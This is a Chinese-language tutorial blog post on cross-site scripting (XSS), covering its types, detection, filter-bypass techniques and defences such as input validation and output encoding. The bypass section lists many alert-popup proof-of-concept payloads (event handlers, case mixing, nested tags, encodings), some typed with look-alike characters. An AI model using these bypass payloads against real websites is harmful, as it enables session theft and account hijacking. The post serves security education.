xss漏洞简介

(注:若复制注入代码攻击无效,请手动输入注入语句,在英文输入法下)

漏洞简介

跨站脚本(Cross-site scripting ,简称 XSS)是一种经常出现在Web应用程序中的计算机安全漏洞,是由于web应用程序对用户的输入过滤不足而产生的,是代码注入的一种,XSS就是攻击者利用网站漏洞把恶意脚本代码(js脚本代码,CSS样式,或者其他意料之外的前端代码)注入到网页中,当其他用户浏览该网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取,会话劫持、钓鱼欺骗等各种攻击。

漏洞可能出现的地方

有提交数据的地方,且输入的数据可以返回到前端。
重灾区:评论区,留言区,个人信息,订单信息等。
针对型:站内信,网站即时通讯,私信,意见反馈等
存在风险:搜索框,当前目录,图片属性,自定义头像链接等。

漏洞危害 

  • 盗取身份信息,窃取会话Cookie从而窃取网站用户隐私、包括账户、浏览历史、IP等。
  • 未授权操作,通过JS发起敏感操作请求。
  • 按键记录和钓鱼。
  • 更广泛的蠕虫传播,借助网站进行传播,使网站的使用用户受到攻击。
  • 劫持用户会话,从而知悉任意操作,比如弹窗跳转、篡改页面、网页挂马。
  • 总结:简而言之,就是所有js能做到的事,它都能做到。

XSS类型

反射型XSS

反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的,输入的内容不会存到数据库中(输 入内容会直接返回的参数都可能存在反射型XSS),攻击者诱导受害者点击包含恶意JavaSctipt代码的 URL,当受害者点击这些精心设计的链接后,恶意代码会直接在受害者主机上的浏览器执行;恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本反射回受害者的浏览器而使受害者的浏览器执行相应的脚本。

反射型XSS的攻击流程图下图

存储型XSS 

存储型 XSS 是指应用程序将存在 XSS payload 的数据未进行过滤检查便存入到数据库中,当下一次从数据库中获取该数据时程序也未对其进行合法性校验,直接将其展示在前端,页面将会执行XSS
payload攻击用户。
存储型 XSS 的攻击流程图下图

DOM型XSS 

DOM XSS 不与后端服务器交互数据, payload 不会存到数据库中,也属于反射型的一种,通过 dom 操作前端输出的时候产生问题。
DOM型XSS的攻击流程图下图

检测方法 

  • 寻找可控参数,URL中,提交的表单中,cookie等
  • 在可控参数中添加JS代码,发起请求。
  • 请求后在响应包中查看恶意代码是否被原样返回到前端页面(一般使用JS弹窗)
  • 若存在过滤,使用测试过滤字符:";--"=&{()},笔和得到完整的js代码。

绕过手段

 前端绕过

抓包重放,或者修改前端代码

替换关键函数,标签

有时候后端的过滤,编码只针对关键函数,如script,alert,因此可以采用一下方法绕过

1 、替换弹窗函数
<script>confirm ( 1 ) </script>
弹窗函数:
alert 弹窗 : 普通弹窗提示
confirm ( "" ) 弹窗 :判断是否操作
prompt ( "" ) 弹窗:可以输入内容
window . open 自定义弹窗
2 、使用 js 指令
<img src="x" οnerrοr=alert(1)>
<img src=x οnerrοr="alert(1)">
<img src=x οnerrοr=eval("alert(1)")>
3 、其他非黑名单标签和事件

<img>标签

图片加载错误时触发
<img src="x" οnerrοr=alert(1)>
<img src="1" οnerrοr=eval("alert('xss')")>

鼠标指针移动到元素时触发
<img src=1 οnmοuseοver="alert(1)">

鼠标指针移出时触发
<img src=1 οnmοuseοut="alert(1)">

<input>标签

<input οnfοcus="alert('xss');">  #竞争焦点,从而触发onblur事件

onblur事件

<input οnblur=alert("xss") autofocus><input autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

<details>标签

<details οntοggle="alert('xss');">
使用open属性触发ontoggle事件,无需用户去触发
<details open οntοggle="alert('xss');">

<svg>标签

<svg οnlοad=alert(1)>

大小写绕过

一般后台对输入进行过滤有两种方法,以下两种方法可以用大小写混合的方式进行绕过,而后端是不管大小写的,可以正常执行我们的语句, 大小写方式如下
< ScRipt > Alert ( 1 ) < /SCRipt>
< IMG srC = '' onerror = alert ( 1 ) >

混写绕过

拼凑绕过:后端会对我们输入的标签进行替换,但只替换一次,所以可以这样
< scri < script > pt > alert ( "hello world!" ) < /scri</ script > pt >

这样经过后端的替换之后就会变成:

<script>alert("hello world!")</script>  

编码绕过

即对我们的payload进行编码,如URL编码,HTML编码

针对 < script > alert ( 1 ) < /script>
1 URL 编码
% 3 cscript % 3 ealert ( % 271 % 27 ) % 3 c % 2 fscript % 3 e
2 HTML 实体编码(可部分可全部)
< script > alert ( & quot ; 1 & quot ;) < /script>
3 UTF - 16
\ x3Cscript \ x3Ealert ( 1 )\ x3C \ x2Fscript \ x3E
4 、其他
八进制编码、十六进制编码、二进制编码、混合编码、 base64 编码、 Unicode

其他绕过

1、使用JS指令

<img src =' ' οnerrοr= javascript:alert('XSS')>

2、置空属性

 <img src='' οnerrοr=alert('XSS')>

2、空格、tab绕过

<img src=' '  οnerrοr=javascript:alert('XSS')>

<img src=' ' οnerrοr=javas        cript:alert('XSS')>

防御措施

输入检查

1 、假定所有输入都是可疑的,必须对所有输入中的 < > ' " on.* script iframe 等字
样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括 HTTP 请求中的 Cookie 中的变量,HTTP 请求头部中的变量等
2 、验证用户输入的数据类型,数据长度,数据内容(最好客户端与服务端均进行验证,服务端验证是必须的)
  • 如果数据类型为整型,则使用 intval 强制转换变量类型
  • 如果用户输入是手机号,那么就需要判断是否是11位数字
  • 如果数据内容为邮箱,则应使用正则取 A-Za-z0-9.@-_ 范围内的值,其它字符则忽略掉

输出编码

对用户的不可信的输入内容均采用编码的方式输出到页面中,常见的编码方式有以下三种:

  • URL编码
  • HTML编码
  • JavaScript编码

常见需要编码的字符

对用户输入的不信任的内容均采用编码的方式输出到页面中,输出编码手段主要有 3 种编码:
URL 编码
HTML 编码
JavaScript 编码
常见需要编码的字符:
需要编码的字符编码后的字符
&&amp;
<&lt;
>&gt;
"&quot;
'&#x27;
/&#x2f;

  • 37
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值